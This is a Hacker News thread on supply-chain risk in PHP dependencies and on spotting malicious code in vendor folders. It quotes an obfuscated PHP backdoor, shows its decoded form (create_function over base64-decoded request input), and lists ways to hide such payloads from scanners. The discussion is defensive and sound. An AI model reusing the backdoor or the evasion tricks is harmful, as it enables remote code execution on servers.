Hacker News Reader

Comment by rawfan | Hacker News Reader

Thankfully nobody is using PEAR anymore. Using composer doesn't solve the problem of blinedly pulling internet dependencies, though (as others pointed out).

What I currently do is grepping vendor for common smells like usage of eval() or obfuscations of the same thing after doing a composer update on a project.

View on HN

> Thankfully nobody is using PEAR anymore

How many thousands of people are in that “nobody”? The places which have legacy baked in are probably also the least equipped to avoid it, too.

Grepping has commonly been evaded since at least the late 90s. lowercased pointed out the use of request values already. Other techniques include encoding a string or byte array and decoding it into a file, pipe, etc. Static analysis can catch some things but it’s fundamentally the halting problem unless you can apply very restrictive sandbox policies — no file I/O, whitelist a few lines which can do certain operations, etc.

It's hard to find obfuscations of stuff. ran across this recently...

<?php $z0=$_REQUEST[‘sort’];$q1=‘’;$c2=“wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev(“noi”.“tcnuf”.“_eta”.“erc”);$j6=$v5(“”,$q1($z0));$j6();?>

There's no 'eval' or 'base64_decode' easy thing to grep for.

You might be able to catch that by looking for lines with unusually high entropy. Something like this: https://codereview.stackexchange.com/a/909

The problem with approaches like this is that they're prone to false positive/negatives. Take the example above — you could move more payload into the REQUEST variable (say a Cookie header), do more of the array of numbers so no individual token is that noteworthy, you could do something like toss that into a wrapper so someone sees something which looks like (and may actually be) an x509 cert or GPG public key with some misleading comment about that being used to verify updates, toss it into an image or other “fixture” in a test directory a la event-stream, etc.

This is a much harder problem than anything someone is going to come up with in an HN reply on first reaction. People have been working on it for decades but it's especially hard because once a technique becomes popular an attacker can run offline attacks against it and not release their exploit until they've confirmed that it's not detected.

Agree that is difficult to catch it. For the log, in this case there are both functions, the output looks something like this:

  $j6 = create_function('', base64_decode($_REQUEST['sort']));
  $j6(); // execution

The `create_function()`[1] will internally execute `eval()` so the result would be the same.

[1] http://php.net/create_function

Grep for multiple semicolons on a line. Or lines exceeding N characters. Or `$_` outside some specific places. Or multiple short variable names on the same line. Or "<?php[^$]".

Salt and flavour per your coding style and code base.

No, that's just an arms race, and it's advantage attacker since in security we generally assume the attacker has our source and executables. Plus it's ultimately an instance of the halting problem; there is no way to run code to determine if another piece of code is "good" for any sensible definition of "good". (See Rice's Theorem.)

You need to ensure bad stuff can't get in, not let stuff in and try to determine what's bad after the fact.

What aspect of information security is not inherently advantage attacker?

Regarding "ensure bad stuff can't get in", that is a completely different aspect. No matter how well you "ensure", bad stuff will always get it. Thus security is done in layers.

You could create a readability score from normal non-malicious code.

Eventhough I do not know what above code does, at a glance, I can tell that this is not normal code. A machine could too.

I think package management is very dangerous!

Reply on news.ycombinator.com